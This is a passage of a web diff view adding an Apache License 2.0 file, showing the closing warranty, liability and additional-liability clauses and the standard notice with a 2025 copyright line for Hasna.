WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
|
148
|
+
implied, including, without limitation, any warranties or conditions
|
|
149
|
+
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
|
150
|
+
PARTICULAR PURPOSE. You are solely responsible for determining the
|
|
151
|
+
appropriateness of using or redistributing the Work and assume any
|
|
152
|
+
risks associated with Your exercise of permissions under this License.
|
|
153
|
+
|
|
154
|
+
8. Limitation of Liability. In no event and under no legal theory,
|
|
155
|
+
whether in tort (including negligence), contract, or otherwise,
|
|
156
|
+
unless required by applicable law (such as deliberate and grossly
|
|
157
|
+
negligent acts) or agreed to in writing, shall any Contributor be
|
|
158
|
+
liable to You for damages, including any direct, indirect, special,
|
|
159
|
+
incidental, or consequential damages of any character arising as a
|
|
160
|
+
result of this License or out of the use or inability to use the
|
|
161
|
+
Work (including but not limited to damages for loss of goodwill,
|
|
162
|
+
work stoppage, computer failure or malfunction, or any and all
|
|
163
|
+
other commercial damages or losses), even if such Contributor
|
|
164
|
+
has been advised of the possibility of such damages.
|
|
165
|
+
|
|
166
|
+
9. Accepting Warranty or Additional Liability. While redistributing
|
|
167
|
+
the Work or Derivative Works thereof, You may choose to offer,
|
|
168
|
+
and charge a fee for, acceptance of support, warranty, indemnity,
|
|
169
|
+
or other liability obligations and/or rights consistent with this
|
|
170
|
+
License. However, in accepting such obligations, You may act only
|
|
171
|
+
on Your own behalf and on Your sole responsibility, not on behalf
|
|
172
|
+
of any other Contributor, and only if You agree to indemnify,
|
|
173
|
+
defend, and hold each Contributor harmless for any liability
|
|
174
|
+
incurred by, or claims asserted against, such Contributor by reason
|
|
175
|
+
of your accepting any such warranty or additional liability.
|
|
176
|
+
|
|
177
|
+
END OF TERMS AND CONDITIONS
|
|
178
|
+
|
|
179
|
+
Copyright 2025 Hasna
|
|
180
|
+
|
|
181
|
+
Licensed under the Apache License, Version 2.0 (the "License");
|
|
182
|
+
you may not use this file except in compliance with the License.
|
|
183
|
+
You may obtain a copy of the License at
|
|
184
|
+
|
|
185
|
+
http://www.apache.org/licenses/LICENSE-2.0
|
|
186
|
+
|
|
187
|
+
Unless required by applicable law or agreed to in writing, software
|
|
188
|
+
distributed under the License is distributed on an "AS IS" BASIS,
|
|
189
|
+
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
|
190
|
+
See the License for the specific language governing permissions and
|
|
191
|
+
limitations under the License.
|